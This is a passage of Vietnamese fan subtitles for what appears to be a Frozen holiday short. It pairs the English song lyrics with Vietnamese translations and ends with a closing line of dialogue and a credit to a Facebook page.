Và khi hai ta bên cạnh

00:19:58.640 --> 00:20:02.650
♪ We'll be safe and warm ♪
được chở che nồng ấm

00:20:02.810 --> 00:20:08.190
♪ Doesn't matter where we are if you're there with me ♪
Bất cứ đâu khi cùng bên cạnh, chỉ cần chung nhịp bước

00:20:08.360 --> 00:20:11.490
♪ 'Cause when we're together ♪
Vì khi ta đến với nhau

00:20:11.660 --> 00:20:16.830
♪ that's my favorite place to be ♪
không gian này trở thành đẹp tươi

00:20:21.580 --> 00:20:24.840
♪ 'Cause when we're together ♪
Vì khi hai ta bên cạnh

00:20:25.000 --> 00:20:27.880
♪ it's a holiday every night ♪
Cùng vui bên nhau trong mỗi đêm

00:20:28.050 --> 00:20:31.010
♪ And when we're together ♪
Và khi hai ta bên cạnh

00:20:31.510 --> 00:20:35.350
♪ then the season's bright ♪
ngày đẹp tươi rực sáng

00:20:35.510 --> 00:20:39.180
♪ I don't need the bells to ring ♪
Tiếng chuông ngân không cần

00:20:39.350 --> 00:20:44.520
♪ I'll know when it's here ♪
Là điều em sẽ biết

00:20:45.150 --> 00:20:49.240
♪ 'Cause when we're together ♪
Vì khi hai ta với nhau

00:20:49.400 --> 00:20:52.660
♪ I could stay forever ♪
mãi nơi đây giáng sinh về

00:20:53.280 --> 00:20:56.620
♪ And when we're together ♪
Và khi hai ta bên cạnh

00:20:56.780 --> 00:21:08.000
♪ It's my favorite time of year ♪
Và ta yêu nhất là lúc này đây

00:21:13.340 --> 00:21:16.680
Chà, chị nghĩ Arendelle
có truyền thống mới rồi đó.

00:21:16.850 --> 00:21:18.180
Cảm ơn, Olaf.

00:21:20.430 --> 00:21:21.940
Cái bánh ngọt!

00:21:22.100 --> 00:21:24.940
Đó là phép màu giáng sinh đó mọi người!

00:21:24.940 --> 00:23:04.940
Hẹn gặp lại trong các phim khác!
facebook.com/KenhCuaDaoLeMinh

ZeroDay Forums Mini